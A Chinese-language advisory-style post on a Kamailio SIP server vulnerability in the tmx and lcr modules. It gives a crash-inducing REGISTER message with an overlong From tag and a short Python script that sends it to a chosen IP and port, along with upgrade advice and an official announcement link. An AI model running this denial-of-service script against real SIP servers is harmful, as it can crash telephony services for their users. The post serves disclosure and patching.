kamailio 版本4.4.5.0 和5.1模块爆安全问题,tmx模块和lcr模块可能收到影响。攻击者可根据模块漏洞通过tag 方式使用非法的branch或from tag对kamailio进行攻击,可导致kamalio崩溃。tmx 模块负责对transaction management 进行管理,LCR则负责是一个最低资费路由模块。如果用户没有使用以上两个模块,则无影响,如果使用了以上两个模块,官方建议尽快升级到最新版本。

以下是通过SIP tag 攻击kamailio导致软交换崩溃的消息:
- REGISTER sip:localhost:5060 SIP/2.0
- Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394
- To: <sip:1@localhost:5060>
- From: Test <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg
- Call-ID: 8b113457-c6a6-456a-be68-606686d93c38
- Contact: sip:1@127.0.0.1:53497
- Max-Forwards: 70
- CSeq: 10086 REGISTER
- User-Agent: go SIP fuzzer/1
- Content-Length: 0
使用的Python 代码攻击方式如下,
python crash.py <ip> <port>
#!/usr/bin/env python
import socket
import sys
PROTO = "udp"
SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
for _ in range(2):
- sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
- sock.connect((sys.argv[1], int(sys.argv[2])))
- msg = "REGISTER sip:localhost:5060 SIP/2.0\r\n" \
- "Via: SIP/2.0/TCP 127.0.0.1:53497;branch=z9hG4bK0aa9ae17-25cb-4c3a-abc9-979ce5bee394\r\n" \
- "To: <sip:1@localhost:5060>\r\n" \
- "From: Test <sip:2@localhost:5060>;tag=bk1RdYaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaRg\r\n" \
- "Call-ID: 8b113457-c6a6-456a-be68-606686d93c38\r\n" \
- "Contact: sip:1@127.0.0.1:53497\r\n" \
- "Max-Forwards: 70\r\n" \
- "CSeq: 10086 REGISTER\r\n" \
- "User-Agent: go SIP fuzzer/1\r\n" \
- "Content-Length: 0\r\n" \
- "\r\n"
sock.sendall(msg)

具体补防漏洞的方式主要通过对 R-URI的字符串长度进行检查。
请查看官方网站的cfg配置:
https://www.kamailio.org/w/2018/03/kamailio-security-announcement-tmx-lcr/

关注微信公众号:asterisk-cn,获得有价值的行业分享
开源IPPBX论坛:www.ippbx.org.cn
Asterisk, freepbx技术文档: www.freepbx.org.cn
融合通信商业解决方案首选产品:www.hiastar.com